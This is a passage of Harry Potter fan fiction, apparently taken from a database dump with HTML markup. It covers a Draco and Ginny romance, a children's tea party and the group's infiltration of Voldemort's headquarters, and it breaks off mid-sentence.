I&#8217;m so sorry that you had to go through all of that.&#8221;</p>\n\n<p>&#8220;What hasn&#8217;t killed me has only made me stronger.&#8221;</p>\n\n<p>Ginny leaned back and took his hands in hers and looked at him seriously. &#8220;Draco, I love you.&#8221; His eyebrows shot up and he opened his mouth to say something, but she pressed her forefinger to his lips. &#8220;Shhh,&#8221; she said smiling, tears still glistening in her eyes. &#8220;I don&#8217;t care if you love me back or not,&#8221; she said quietly, turning her eyes down to her lap. &#8220;But, I want you to know, that I will always be here for you and Haven, and I will <i>never </i>do anything like that to you.&#8221;</p>\n\n<p>She took her finger off of his lips and wrung her hands together. He looked at her doubtfully, &#8220;Are you sure? &#8211; Because&#8230;&#8221;</p>\n\n<p>&#8220;Draco,&#8221; she said firmly. &#8220;I do love you.&#8221;</p>\n\n<p>&#8220;We&#8217;ve hardly been together for&#8212;&#8220;</p>\n\n<p>Ginny glared at him. &#8220;I don&#8217;t care.&#8221; Then she laughed nervously, &#8220;That wasn&#8217;t exactly the response I was expecting.&#8221;</p>\n\n<p>Draco cocked his head to the side. &#8220;I really do care about you, Ginny&#8230;.&#8221;</p>\n\n<p>&#8220;But you don&#8217;t know if you love me?&#8221; finished Ginny, voice tinged with melancholy. Draco nodded. &#8220;It&#8217;s okay. I don&#8217;t expect you to give your love as freely as I give mine. But you do have mine&#8230;&#8221; Ginny started to get off of his bed. </p>\n\n<p>Draco pulled her back to him and placed a soft kiss on her lips before letting her go. She smiled softly at him and went to rouse Sara.</p>\n\n<p>-</p>\n\n<p>They stepped out of the fireplace together, Ginny holding Sara&#8217;s hand. Sara stood with them, eyes dark and circled, her mouth drawn tight. She was still blaming herself for her father&#8217;s actions. </p>\n\n<p>&#8220;SARA!&#8221; screeched Haven, sliding into the living room upon their arrival. He slammed into Sara, nearly knocking her over with his flamboyant hug.</p>\n\n<p>Sara giggled lightly, hugging Haven back. &#8220;Hi,&#8221; she said quietly.</p>\n\n<p>Narcissa stepped into the room behind Haven, eyeing Sara. &#8220;More children for me to keep?&#8221; she asked smiling.</p>\n\n<p>&#8220;You don&#8217;t mind, do you?&#8221; Draco asked, stepping forward to wrap his mother into a hug, pressing a quick kiss on her cheek.</p>\n\n<p>&#8220;Of course not,&#8221; said Narcissa. &#8220;I&#8217;m more than happy to keep them.&#8221; She looked to Sara and Haven, who were jabbering loudly, not paying any attention to the adults. &#8220;Here, let&#8217;s go into the kitchen and talk about your situation while you&#8217;re here, I want to know what&#8217;s going on. I&#8217;m sure they won&#8217;t miss us,&#8221; she said, motioning to the children.</p>\n\n<p>&#8220;Alright,&#8221; said Draco, taking Ginny&#8217;s hand, a gesture noticed by Haven and Sara both, and led her into the kitchen after Narcissa.</p>\n\n<p>Once they were out of ear shot, Sara spoke up. &#8220;Do you think they like each other?&#8221; she asked curiously.</p>\n\n<p>&#8220;Of course!&#8221; said Haven, grinning.</p>\n\n<p>&#8220;Do you think they&#8217;ll get married?&#8221; she whispered.</p>\n\n<p>&#8220;Has he kissed her yet?&#8221; asked Haven conspiratorially. </p>\n\n<p>&#8220;Not yet, I don&#8217;t think,&#8221; said Sara.<br>\n\n\n<br>\n\n\n</p>\n\n<p>&#8220;Well, just as soon as dad kisses her, they&#8217;ll <i>have</i> to get married,&#8221; Haven said knowledgably. </p>\n\n<p>Sara brought her hands up to her face excitedly. &#8220;Do you think they&#8217;ll let me be the flower girl?&#8221;</p>\n\n<p>&#8220;O&#8217;course,&#8221; said Haven. &#8220;It&#8217;ll be great!&#8221;</p>\n\n<p>&#8220;Yeah!&#8221;</p>\n\n<p>They fell over each other laughing.</p>\n\n<p>-</p>\n\n<p>Draco and Ginny scooted into the meeting right after it had begun and took seats near Harry and Hermione. Dumbledore looked to them and smiled, a faint twinkle in his eyes. &#8220;Alright,&#8221; said the headmaster. &#8220;As all of you know,&#8221; he continued, looking around the table at the varying faces looking to him. &#8220;Tonight is the night that we shall try to make our comeback is this relentless war against Voldemort and his supporters. For this to go successfully, we shall need everyone&#8217;s cooperation and effort.&#8221; He gazed at them solemnly. &#8220;If we fail tonight, there might never be hope for another chance. You all understand the severity of this attack?&#8221;</p>\n\n<p>There were murmurs and the nodding of heads all around the table. Everyone was looking up to Dumbledore with determined looks on their faces. Dumbledore smiled wanly at them before continuing, &#8220;Only a few of us shall be entering Voldemort&#8217;s Head Quarters with the purpose of fight Voldemort himself. The rest of us are there to provide backup and take on all of the Death Eaters that will be attending the ball &#8211; which we have discussed already. I have already appointed leaders of at least five groups and we have discussed in depth on where you shall be situated and what your goal is. Now, I need to speak with our Aurors that are to be seeking out Voldemort. If you all have any other questions as to what your assignment is, please ask.&#8221; </p>\n\n<p>Dumbledore inclined his head and the majority of the people in the Great Hall got up and left, heads bowed in together, talking quietly. The only people that remained seated, were: Draco, Ginny, Hermione, Harry, Ron (who had been released from the infirmary that morning), Neville, Fred and George.</p>\n\n<p>&#8220;You all are going to be the root of this attack. Everything you do is going to determine the outcome of this attack.&#8221; Dumbledore frowned. &#8220;I hate to be making you feel so burdened, but this is of the utmost importance. You have been chosen because of your remarkable qualities that will allow you to all function together as a team against Voldemort and his closest Death Eaters. I have complete confidence in you.&#8221;</p>\n\n<p>&#8220;Wait,&#8221; said Harry, looking confused. &#8220;You aren&#8217;t going with us?&#8221;</p>\n\n<p>Dumbledore shook his head. &#8220;I will not be with you. I will be with the other Aurors.&#8221;</p>\n\n<p>&#8220;But, why&#8212;&#8217;&#8217;</p>\n\n<p>Holding up a hand to silence him, Dumbledore said, &#8220;This is not something to be discussed.&#8221;</p>\n\n<p>Harry scowled and slumped in his chair, raking his fingers through his untidy hair roughly. Hermione put her hand on his arm and gave him an encouraging look. He managed a weak smile for her and turned back to Dumbledore.</p>\n\n<p>&#8220;Now I&#8217;ll be going to see if the others have any questions.&#8221; Dumbledore got up out of his seat and left them together in the Great Hall.</p>\n\n<p>Once the door was closed, Harry said, &#8220;I can&#8217;t <i>believe</i> he&#8217;s not going in with us. He&#8217;s the one wizard that Voldemort is scared of! He&#8217;s the &#8211;&#8217;&#8217;</p>\n\n<p>&#8220;Shut it, Potter,&#8221; interrupted Draco. &#8220;Dumbledore can&#8217;t always be around to save the day for you. And do you honestly think that Voldemort is all that scared of Dumbledore anymore? He probably thinks that if Dumbledore could have truly beaten him, he would have done so already. With an ego the size Voldemort&#8217;s is now, it would be hard for him to believe that anyone would be able to take him down.&#8221;</p>\n\n<p>&#8220;Still,&#8221; Harry started, but was silenced by Hermione&#8217;s hand reappearing on his arm.</p>\n\n<p>&#8220;He&#8217;s right, Harry,&#8221; she said diplomatically. &#8220;Dumbledore&#8217;s gotten old as well, something that Voldemort probably would have taken into consideration. He&#8217;s not going to think that Dumbledore is strong enough to be able to stand against him.&#8221;</p>\n\n<p>&#8220;But that&#8217;s wrong,&#8221; argued Harry. &#8220;Dumbledore is still as strong of a wizard as he was before!&#8221;</p>\n\n<p>&#8220;No,&#8221; Ginny said softly. &#8220;He&#8217;s not Harry. Haven&#8217;t you noticed? The war is taking its toll on Dumbledore just as much as it is on anyone else, if not more. The man has to be well over a hundred years old.&#8221;</p>\n\n<p>&#8220;Then what makes you think that <i>I</i> can do it if he can&#8217;t? I haven&#8217;t gotten any stronger since the last time I fought him, and if I have, I highly doubt that I would be able to defeat him,&#8221; said Harry.</p>\n\n<p>Ginny rolled her eyes. &#8220;You don&#8217;t have to do it alone, Harry; no one is expecting you to. You have a <i>team</i>. We&#8217;re going to work together to defeat Voldemort.&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; said Neville, speaking up. &#8220;We&#8217;re all going to be in there with you Harry.&#8221; He looked to the others expectantly and they all echoed his and Ginny&#8217;s promises.</p>\n\n<p>&#8220;We&#8217;ve been with you all the way,&#8221; said Hermione. &#8220;We&#8217;re going to help you defeat him. Isn&#8217;t that right, Ron?&#8221;</p>\n\n<p>Ron nodded. &#8220;O&#8217;course.&#8221; He smiled. &#8220;It&#8217;ll be just like old times.&#8221;</p>\n\n<p>&#8220;Not quite like old times,&#8221; said Fred, grinning.</p>\n\n<p>&#8220;Yeah,&#8221; said George. &#8220;Now we have Malfoy here to help us along.&#8221;</p>\n\n<p>Draco has a strained look on his face. &#8220;Right&#8230;&#8221; He leaned down and whispered into Ginny&#8217;s ear, &#8220;All this Gryffindor mushiness is making me queasy.&#8221;</p>\n\n<p>Ginny smiled lightly and smacked at his arm playfully. &#8220;Well, get used to it. You&#8217;re going to have to be around it for a little while longer.&#8221;</p>\n\n<p>Draco groaned aloud. &#8220;I know&#8230; and it&#8217;s killing me.&#8221; Ginny gave him a look and he winked at her, turning his attention to Hermione, who was asking him a question.</p>\n\n<p>&#8220;Where would be the best place to enter the Head Quarters?&#8221;</p>\n\n<p>&#8220;Well,&#8221; said Draco, glad for the change of subject. &#8220;It all really depends on where we want to go&#8230;.&#8221;</p>\n\n<p>-</p>\n\n<p>Once they arrived at the Head Quarters, Draco directed the small group to a concealed side entrance that faced the woods. The door was guarded by two Death Eaters who were leaning against the wall heavily, with tankards of beer in their hands. Their wands were tucked away in their robes, out of sight.</p>\n\n<p>&#8220;Now, why are we out &#8216;ere while all the others get to attend the ball?&#8221; one of them said loudly, bringing his tankard up to his mouth, sloshing a bit of a beer down his robes.</p>\n\n<p>Draco rolled his eyes as he noted four more empty tankards lying not far away from the Death Eaters.</p>\n\n<p>&#8220;I dunno,&#8221; said the other Death Eater. &#8220;It&#8217;s not fair though.&#8221;</p>\n\n<p>&#8220;It isn&#8217;t!&#8221;</p>\n\n<p>&#8220;We should be in that ball!&#8221;</p>\n\n<p>&#8220;Yeah, we do just was much work as them!&#8221;</p>\n\n<p>&#8220;Thas right!&#8221;</p>\n\n<p>Fred and George crept out of the woods as the two drunken Death Eaters continued to bemoan their absence from the ball in a string of unintelligible slurs. Fred and George each snatched up one of the abandoned tankards from the ground and snuck up behind the Death Eaters, hitting them on the head with the tankards soundly. The drunks fell forward to the ground with a dull thump.</p>\n\n<p>&#8220;And that,&#8221; said George with a smirk on his face, &#8220;Is how we take care of Death Eaters.&#8221;</p>\n\n<p>Draco laughed lightly, shaking his head as he stepped out of the woods. &#8220;Unfortunately, not all of them can be handled so easily.&#8221; He pulled out his wand and said a spell to keep them knocked out for a few more hours, and then beckoned the rest of the group to follow him into the building.</p>\n\n<p>He pushed on the wooden door and it swung open easily, surprising Draco. Were the Death Eaters so confident that they would leave the doors like this unlocked so carelessly? But once they stepped inside, he saw that there was a shelf with a few more tankards of beer sitting on them. The Death Eaters that were supposed to be guarding that door had stashed beer nearby and kept the door open for easy retrieval. </p>\n\n<p>Hermione saw this too and shook her head. &#8220;I don&#8217;t know how they managed to beat us during the war with idiots like this.&#8221;</p>\n\n<p>&#8220;Evil idiots,&#8221; corrected Ginny, shutting the door behind them.</p>\n\n<p>&#8220;What was that saying I&#8217;ve heard before&#8230;&#8221; mused Fred. &#8220;Never underestimate the power of stupid people in large groups?&#8221;</p>\n\n<p>Draco turned to look at them with a raised eyebrow. &#8220;Do you mind keeping it down? Or have you forgotten that we&#8217;re trying to kill a Dark Lord here?&#8221;</p>\n\n<p>Harry shot him an irritable look. &#8220;Well, are we just going to stand here all night?&#8221; They were rather cramped in the stuffy, narrow hallway.</p>\n\n<p>&#8220;Of course not,&#8221; snapped Draco. &#8220;Just as soon as you all <i> shut your mouths</i>, we can move on.&#8221;</p>\n\n<p>They went quiet and Draco gave a satisfied look before turning around and making his way down the hall. Another wooden door stopped them at the end of the hall. Draco reached out and tried his luck at turning the knob. The door didn&#8217;t open. He pulled out his wand and muttered a quiet, &#8220;<i>Alohamora</i>,&#8221; then tried to open it again. It was still locked. </p>\n\n<p>He frowned at the door and tried another series of spells, none of which the rest of the group had ever heard before. But, after his fifth or sixth spell, the lock clicked and he was able to open the door.</p>\n\n<p>They stepped through into a stone hallway, which was lit dimly with torches. Neville sneezed and Draco gave him a sharp look. &#8220;I can&#8217;t help it,&#8221; Neville murmured sullenly. &#8220;The smoke bothers me.&#8221;</p>\n\n<p>&#8220;I certainly don&#8217;t want to hear about it,&#8221; said Draco. &#8220;Now keep your mouth shut.&#8221; Hermione shot an exasperated look at Draco&#8217;s back and whispered a spell for Neville&#8217;s allergies and gave him a small smile; Neville looked at her gratefully.</p>\n\n<p>A few minutes later, they came to a fork in the hallway. Draco studied them for a minute, before Ron&#8217;s voice broke the silence. &#8220;I though you knew this place, Malfoy,&#8221; he said impatiently. &#8220;Can&#8217;t you tell us which way we need to go?&#8221;</p>\n\n<p>&#8220;I have only been here twice, Weasley. And neither time did I enter from a side entrance,&#8221; Draco spat venomously. &#8220;Now if you&#8217;d like to lead the way, by all means, go ahead. I&#8217;m sure you know much more about Death Eaters than I ever could. Why, I&#8217;m sure you could break down the hexes guarding entrances a little further into the building, couldn&#8217;t you?&#8221;</p>\n\n<p>Ron glared at him, but didn&#8217;t say anything else.</p>\n\n<p>&#8220;I don&#8217;t think staring at them is going to help you out any,&#8221; said Harry, looking at Draco plaintively. </p>\n\n<p>Draco&#8217;s jaw tensed. &#8220;I don&#8217;t know where exactly these halls lead to. I think we should split up.&#8221; He waited for their response.</p>\n\n<p>&#8220;Split up?&#8221; Neville said tentatively. </p>\n\n<p>&#8220;That <i>is</i> what I said,&#8221; Draco sneered.</p>\n\n<p>&#8220;We may be able to find the Dark Lord faster that way,&#8221; said Hermione thoughtfully. &#8220;Would there be any way for us to communicate with each other, if something were to happen?&#8221;</p>\n\n<p>They all looked to each other for an answer. How would they communicate? They couldn&#8217;t send up red or blue sparks in the building. That would do nothing but attracted unwanted attention &#8211; and it wasn&#8217;t like the others would be able to see it.</p>\n\n<p>Fred pulled a small jar out of the pocket of his robes. It had tiny black beetles in it. &#8220;We were going to use these to listen in on the rooms in here. But I suppose we won&#8217;t really need them after tonight.&#8221;</p>\n\n<p>Ron stared at them. &#8220;They&#8217;re beetles.&#8221;</p>\n\n<p>&#8220;Not just any ordinary beetles,&#8221; George said with a grin. &#8220;These are beetles manufactured by the WWW.&#8221;</p>\n\n<p>&#8220;Who would have guessed?&#8221; said Harry with a small smile. &#8220;What do they do?&#8221;</p>\n\n<p>&#8220;They transmit sound to a recorder,&#8221; explained George, holding up a small black button. &#8220;Which would be this. But we only have one of them.&#8221;</p>\n\n<p>&#8220;Then only one group could hear if the other was in trouble,&#8221; Ginny said, furrowing her eyebrows.</p>\n\n<p>&#8220;At least it&#8217;s something,&#8221; said Harry. </p>\n\n<p>&#8220;We can&#8217;t afford to take any chances, Harry,&#8221; Hermione said worriedly. &#8220;Anything could go wrong and all of our efforts would go down the drain.&#8221;</p>\n\n<p>Harry made a frustrated face. &#8220;All I&#8217;m saying is that these are better than nothing.&#8221;</p>\n\n<p>Reaching out, Hermione put a hand on Harry&#8217;s arm, and looked at him softly. &#8220;I know, I just want to make sure that&#8230;we do all we can to make sure that nothing goes wrong.&#8221;</p>\n\n<p>&#8220;As much as you&#8217;d like for this to be without any room for mistake,&#8221; said Ginny. &#8220;That would be near impossible. There&#8217;s always going to be something that could go wrong, no matter what we do. The only thing we can do is make a reasonable choice, and hope that it turns out for the best. The rest is really not within our power to change. I agree with Draco that we should split up. Our chances of finding the Dark Lord would be greater, and moving in smaller groups would be easier.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; said Harry, studying their group. &#8220;Ron, Hermione, and Neville, come with me. Fred, George, and Ginny, go with Draco.&#8221;</p>\n\n<p>&#8220;Who&#8217;s getting which transmitter?&#8221; asked Neville.</p>\n\n<p>&#8220;We&#8217;ll take only a bug,&#8221; said Harry. &#8220;Draco&#8217;s group can take the recorder and a bug. Sound okay?&#8221;</p>\n\n<p>They murmured quiet approval, and Fred took out one of the black beetles and deposited it into Harry&#8217;s hand.</p>\n\n<p>&#8220;Good luck,&#8221; said Hermione. She turned and followed Harry into the hallway that went left.</p>\n\n<p>&#8220;That leaves us with right,&#8221; said George. &#8220;Ready?&#8221;</p>\n\n<p>Ginny nodded and they followed Draco into the hallway.</p>\n\n<p><b>A/N: </b>A big thanks goes to <b>Mynuet</b>, who was nice enough to go over this chapter with me and help me change some things for the better. :D And thanks to <b>Nicole</b>, who went over it for grammar/spelling. *loffs*</p> '),
	(99, 16, ' [A/N: I know! I know! It&#8217;s been absolutely forever since I&#8217;ve updated and I&#8217;m oh-so-sorry. I don&#8217;t really have any excuses other than I was too lazy to write anything, and that I didn&#8217;t know what to write. I actually had more than this written up a long time ago, but it was utter crap so I deleted it and started again. So this is what you get now. I&#8217;m sure I could have written more, but I figured I better get <i>at least </i>one chapter out before I go on vacation so that you know I&#8217;m not dead, and yes, I will be writing more chapters. <br>\n\n\n<br>\n So, here&#8217;s your long overdue chapter seventeen. Enjoy. <br>\n\n\n<br>\n THANK YOU COSTY FOR BETA-ING!!! &lt;33333 You\'re the best!!11!1one!11!!!one!1 <br>\n\n\n<br>\n Disclaimer: If you think I own anything related to Harry Potter, I recommend you visit a psychiatrist.] <br>\n\n\n<br>\n\n\n<br>\n\n\n<br>\n\n\n<center> HEROES SHED NO TEARS<br>\n CHAPTER 17<br>\n By VirtualFaerie<br>\n\n\n</center>\n\n<br>\n\n\n<br>\n Wrapping the pink feather boa around her neck loosely, Sara seated herself at the small table in front of the fireplace, motioning for Haven to pick up his teacup. &#8220;Make sure you hold it like this,&#8221; she told him, picking up her own, pinky extended sophisticatedly. <br>\n\n\n<br>\n Haven wrinkled his nose and picked up the teacup as told. &#8220;Why do I have to do this again?&#8221; he asked, wiggling his pinky. <br>\n\n\n<br>\n &#8220;Because,&#8221; Sara said, looking at him exaggeratedly. &#8220;We&#8217;re having a tea party, and at tea parties, you&#8217;re supposed to drink your tea like this.&#8221; <br>\n\n\n<br>\n &#8220;I don&#8217;t want to have a tea party,&#8221; whined Haven. &#8220;It&#8217;s girly.&#8221; <br>\n\n\n<br>\n &#8220;Is not,&#8221; argued Sara. Haven set his cup down. &#8220;Fine then,&#8221; she said, &#8220;I didn&#8217;t want to have a tea party with you anyways. Boys just ruin the fun.&#8221; <br>\n\n\n<br>\n &#8220;Fine,&#8221; said Haven, getting up and stomping over to the sofa. He sat on it and crossed his arms, staring at the wall disinterestedly. Sara looked at him out of the corner of her eyes, fluffing her boa, then took a sip of her tea, pinky up. <br>\n\n\n<br>\n Narcissa walked into the room and took immediate notice of their stony expressions. &#8220;Are you two having fun?&#8221; she asked gently, eyes darting between the two. <br>\n\n\n<br>\n &#8220;No,&#8221; they answered simultaneously, shooting glares at each other. <br>\n\n\n<br>\n Narcissa disappeared and came back a few moments later, carrying a silver tray. &#8220;I know what will make this tea party a little better.&#8221; <br>\n\n\n<br>\n &#8220;It&#8217;s already great.&#8221; Sara stuck her nose up in the air, but couldn&#8217;t help peeking at what was on the tray. <br>\n\n\n<br>\n Narcissa nodded. &#8220;It&#8217;s wonderful, but wouldn&#8217;t you like some cookies?&#8221; She set the tray down on the table. Haven eyed the chocolate chip cookies from his perch on the sofa, his little hands starting to twitch anxiously. <br>\n\n\n<br>\n &#8220;I want a cookie,&#8221; he said. <br>\n\n\n<br>\n &#8220;Well, then,&#8221; said Narcissa, very matter-of-factly. &#8220;You&#8217;ll just have to join Sara&#8217;s tea party, won&#8217;t you?&#8221; <br>\n\n\n<br>\n Haven made a face. &#8220;I guess so.&#8221; He let himself slide off of the sofa slowly, making sure both Narcissa and Sara knew he wasn&#8217;t too happy about attending the tea party, even if he got cookies, and then stomped his way to the little table, dropping himself carelessly back into his chair. <br>\n\n\n<br>\n Amused, Narcissa smiled. <br>\n\n\n<br>\n Sara, on the other hand, seemed to want to make sure that Haven felt sorry for abandoning her tea party and that he knew that any cookie he got now was going to come with a price. &#8220;You know,&#8221; she said slowly, slyly. &#8220;I have another feathery thing.&#8221; She pointed to her boa. <br>\n\n\n<br>\n Haven stared at her. <br>\n\n\n<br>\n She raised her eyebrows and smiled at him. &#8220;It&#8217;s blue,&#8221; she offered, beginning to dig through the pile of stuffed animals behind her. She pulled it out and held it out over the table for Haven, shaking it in front of him. What she hadn&#8217;t told him was that this one had nice little silver threads woven in it, coated with very sparkly glitter. One of the feathers detached itself from the rest and floated up into the air, and landed in Haven&#8217;s hair. <br>\n\n\n<br>\n &#8220;This isn&#8217;t fair,&#8221; he muttered sullenly, reaching out to grab the boa &#8211; and a cookie. <br>\n\n\n<br>\n *** <br>\n\n\n<br>\n Fred and George seemed to be communicating something less than appropriate between themselves, earning glares from Ginny every few minutes. Draco watched them with something between amusement and exasperation, wondering why he had the bad luck to be stuck with three Weasleys. <br>\n\n\n<br>\n Which he hadn&#8217;t realized he said out loud until he noticed the slightly hurt look on Ginny&#8217;s face. &#8220;I hope you don&#8217;t think we&#8217;re really that bad,&#8221; she said softly. <br>\n\n\n<br>\n Apparently Fred and George had heard the exchange in between their own covert conversation, and walked closer to Ginny and Draco, bringing their exchange to an end. <br>\n\n\n<br>\n Draco looked down at Ginny. &#8220;I didn&#8217;t mean it,&#8221; he said. Ginny nodded slowly but didn&#8217;t look as if she believed him. Suppressing the urge to sigh, Draco said nothing else, continuing to lead the group down the stone hallways in awkward silence. Not that much could be done about that, talking wasn&#8217;t really something they should have been doing anyways. <br>\n\n\n<br>\n Putting a hand in her robe pocket, Ginny let her fingers slip around the cool wood of her new wand, reminding herself that now wasn&#8217;t the time to get into some verbal spar with Draco. She also took care to remind herself of what kind of person Draco was, and despite the fact that she loved him, he hadn&#8217;t what you&#8217;d call a warm personality. <br>\n\n\n<br>\n The light in the corridors slowly became brighter, and the corridor itself smelled less of mold and mildew. Tall torches lined the wall, the flames flickering wildly as they walked by, licking at the stones of the wall from the faint breeze they left trailing behind them. <br>\n\n\n<br>\n Draco stopped them at a corner. They stood there for a moment, Fred and George exchanging looks. Ginny just watched Draco silently, her eyes roving over his face uneasily. His face didn&#8217;t say betray anything. He continued to stand there. The twins shot her a look and gestured impatiently around the corner. She gave them a withering glance as Draco leaned around the corner before stepping out of sight.They followed him. <br>\n\n\n<br>\n Unexpectedly, Ginny&#8217;s boot caught on an uneven stone and sent her flying to the floor. She bit her lip to keep from crying out, tasting the coppery tang of blood on her tongue, and a throb of pain in her jaw. Fred and George grabbed her by the arms and pulled her up. <br>\n\n\n<br>\n &#8220;Blimey, Gin, are you okay?&#8221; Fred whispered concernedly, brushing off her robes needlessly. He waved off George, who was hovering over them, his face turning gray as he caught sight of the tiny droplet of blood on Ginny&#8217;s lip. <br>\n\n\n<br>\n &#8220;Quiet,&#8221; Draco said firmly, pushing past the twins to Ginny. She leaned against the wall and took a few deep breaths. He took her face gently in his hands, mindful of her jaw, which was now sending pulses of pain through her skull. Draco swept his thumb across her lower lip tenderly causing her to wince slightly. <br>\n\n\n<br>\n &#8220;Careful,&#8221; she breathed. <br>\n\n\n<br>\n His fingers skimmed along her jaw lightly, sending a shiver down her spine. Bringing his wand up to her face, he murmured a quiet spell and the pain started to subside, still echoing through her head, but barely. <br>\n\n\n<br>\n She smiled appreciatively at him. &#8220;That&#8217;s better.&#8221; <br>\n\n\n<br>\n George gave Draco a sharp tap on the shoulder. &#8220;Let&#8217;s keep moving,&#8221; he said, following Fred, who&#8217;d already started down the length of the hall. Draco turned back to Ginny and studied her face for a moment, then lowered his lips to hers, quickly, then moved them to her jaw, making the same spot that had throbbed with pain a moment before, tingle with pleasure. She didn&#8217;t know what made him even begin to think this might have been a good time for anything of the like, but she wasn&#8217;t going to argue. Besides, they were only short kisses. <br>\n\n\n<br>\n He took her hand in his, and rubbed his thumb along her knuckles as they caught up with Fred and George, who were pausing at the end of the hall, obviously listening to something very interesting. <br>\n\n\n<br>\n *** <br>\n\n\n<br>\n Neville watched Harry, Hermione, and Ron huddled together a few feet away from him with growing impatience. They were doing it again. They were always doing it. It was the three of them and no one else. They had gathered into their little triumvirate and they weren&#8217;t planning on letting anyone else in any time soon. Their heads were all bowed down together in a circle and they were speaking in hushed tones. <br>\n\n\n<br>\n Tapping his foot, Neville hoped the sound would remind them that they were missing part of their team. Hoping maybe, just maybe, to remind them Hogwarts was over, and despite the unity of the three of them, they alone were not going to be able to bring down Voldemort. <br>\n\n\n<br>\n But of course, as always, he kept these thoughts to himself and settled for observing their camaraderie from afar. <br>\n\n\n<br>\n &#8220;Would you shut up!&#8221; he heard Hermione hiss, and soon thereafter the sound of her hand on Ron&#8217;s face. <br>\n\n\n<br>\n &#8220;Bloody hell,&#8221; Ron muttered, rubbing a hand on his cheek. &#8220;You&#8217;re the one who asked.&#8221; <br>\n\n\n<br>\n Hermione&#8217;s eyes were alight and her cheeks flushed red. &#8220;This is not the time to be a prat, Ron.&#8221; Out of the corner of her eye, she noticed Neville, standing away from them. If possible, she flushed a deeper shade of crimson. Harry followed her gaze and guilt flashed in his darkened green eyes. Neville wondered if it was okay that the looks on their faces made him feel happier. &#8220;Oh, I&#8217;m sorry!&#8221; Hermione gushed, reaching over to grab Neville&#8217;s arm and pull him in the group. Her hand was cold and clammy on his arm, and he noted the beads of sweat on her brow. <br>\n\n\n<br>\n Before he could ask what it was they&#8217;d been discussing, Harry spoke up. &#8220;We&#8217;ve been down this hall before,&#8221; he told Neville. Neville nodded. He knew this. Harry frowned, but continued, &#8220;We made the mistake of turning right both times.&#8221; Neville nodded again. Harry raised his eyebrows. &#8220;Hermione says we shouldn&#8217;t go left and that we should try another turn we might have missed further down.&#8221; <br>\n\n\n<br>\n Neville looked at Hermione, who looked as if she was shaking. For the first time, Neville noticed the purple and yellow tones that dominated her skin. She was looking at him worriedly, having taken her hand off his arm. She was now clenching them in front of her tightly. Her eyes begged him to agree with her. <br>\n\n\n<br>\n &#8220;What could it hurt to try her way one more time? We probably did miss a turn somewhere,&#8221; said Neville. Hermione beamed at him. <br>\n\n\n<br>\n Harry heaved a frustrated sigh and raked a hand through his already disheveled hair. &#8220;We&#8217;d lose<i> time</i>, Neville, and we haven&#8217;t got much of it as it is. Besides, it&#8217;s not as if I&#8217;d place too much trust in Hermione&#8217;s <i>instincts</i>, if you&#8217;ll remember, Divination was never her strongest subject.&#8221; <br>\n\n\n<br>\n Hermione&#8217;s lips thinned as she turned to look at Harry, fighting to keep her eyes cold and infuriated, but it wasn&#8217;t easy considering tears were welling and beginning to spill onto her cheeks. &#8220;Don&#8217;t be cruel, Harry,&#8221; she said hoarsely. She looked away from him to Ron, whose ears were bright red and who was staring down at the floor. <br>\n\n\n<br>\n &#8220;Harry,&#8221; Neville said slowly, putting his hand on Hermione&#8217;s shoulder. Hermione sniffed and stiffened, shaking her head and wiping her tears away violently. She tightened her jaw and looked back to Harry, determination set on her face. <br>\n\n\n<br>\n Before Neville could say anything else, she marched up to Harry, until she was standing with her nose practically to his. &#8220;Now you listen to me, Harry <i>Potter</i>,&#8221; she said firmly. &#8220;You have to remember that you aren&#8217;t the only one fighting You-Know&#8230;&#8221; she took a deep breath. &#8220;Voldemort. Your friends are here. You don&#8217;t have to fight him alone.&#8221; The tears were starting to well up in her eyes again, and she couldn&#8217;t hold them back. But her voice remained steady as she stared up at Harry. &#8220;We&#8217;re all here, Harry. Even <i>Malfoy </i>is here,&#8221; she said with a weak laugh. &#8220;He&#8217;s got his own group and I&#8217;m sure they can hold off what they need to until we get there, which isn&#8217;t going to be much longer. I <i>really</i> think we should try again. I&#8217;m absolutely positive I saw a place we could have turned.&#8221; <br>\n\n\n<br>\n Harry didn&#8217;t say anything. <br>\n\n\n<br>\n &#8220;Don&#8217;t you trust me, Harry?&#8221; <br>\n\n\n<br>\n Harry closed his eyes. &#8220;Yes, Hermione. I trust you.&#8221; He opened them and looked at Ron and Neville. &#8220;Okay, let&#8217;s go back. Hermione, you lead the way.&#8221; <br>\n\n\n<br>\n Hermione smiled at him. &#8220;Thank you.&#8221; Harry smiled back, and Hermione motioned for the men to follow her and started down the corridor confidently. <br>\n\n\n<br>\n *** <br>\n\n\n<br>\n Ginny stopped short, causing the men behind her to stumble. &#8220;Do you hear that?&#8221; She furrowed her eyebrows into a frown, leaning one way, as if it would help her to pick up sound. <br>\n\n\n<br>\n &#8220;Hear what?&#8221; asked George, looking to Fred, who looked just as confused as him. <br>\n\n\n<br>\n &#8220;SHHHH!&#8221; Ginny hissed, slicing her hands at him. She stilled when she was certain they were quiet and listened again. The dim sound of muffled voices crept down the corridor in their direction. <br>\n\n\n<br>\n &#8220;We&#8217;re close now,&#8221; said Draco. &#8220;We can make it before they catch up with us.&#8221; <br>\n\n\n<br>\n &#8220;Wait a minute,&#8221; said Ginny, glancing at Draco quickly. She listened yet again, the corner of her mouth turning up. &#8220;That&#8217;s Ron.&#8221; <br>\n\n\n<br>\n &#8220;What?&#8221; said Fred. &#8220;I don&#8217;t know what you&#8217;re talking about. I think I&#8217;d recognize my own brother&#8217;s voice if I heard it.&#8221; <br>\n\n\n<br>\n George nodded his agreement. &#8220;I&#8217;d know Ron&#8217;s voice anywhere.&#8221; <br>\n\n\n<br>\n &#8220;Well obviously you don&#8217;t. Now would you two idiots shut up?&#8221; she said, beginning to stride down the corridor. Draco reached out to grab her arm, but only caught part of her sleeve, which she yanked out of his hand. Ginny shot him a glare and continued down the hallway. Before she reached the end, Hermione rounded the corner, and upon sighting Ginny, her eyes lit up. <br>\n\n\n<br>\n &#8220;Ginny!&#8221; <br>\n\n\n<br>\n &#8220;Bloody hell,&#8221; muttered Draco. &#8220;We don&#8217;t have time for this. <i>And no one should be talking!</i>&#8221; <br>\n\n\n<br>\n Neville, Harry, and Ron followed closely behind Hermione, and Draco cut off anything they were going to say by slashing his hand in the air. &#8220;You all need to be quiet,&#8221; he whispered. &#8220;No more talking at all. This next corridor over is close to Voldemort&#8217;s lair, and there&#8217;s bound to be guards on duty.&#8221; <br>\n\n\n<br>\n *** <br>\n\n\n<br>\n &#8220;How much longer d&#8217;you think we&#8217;ve got left on this damned shift?&#8221; a Death Eaters asked his companion. <br>\n\n\n<br>\n &#8220;I 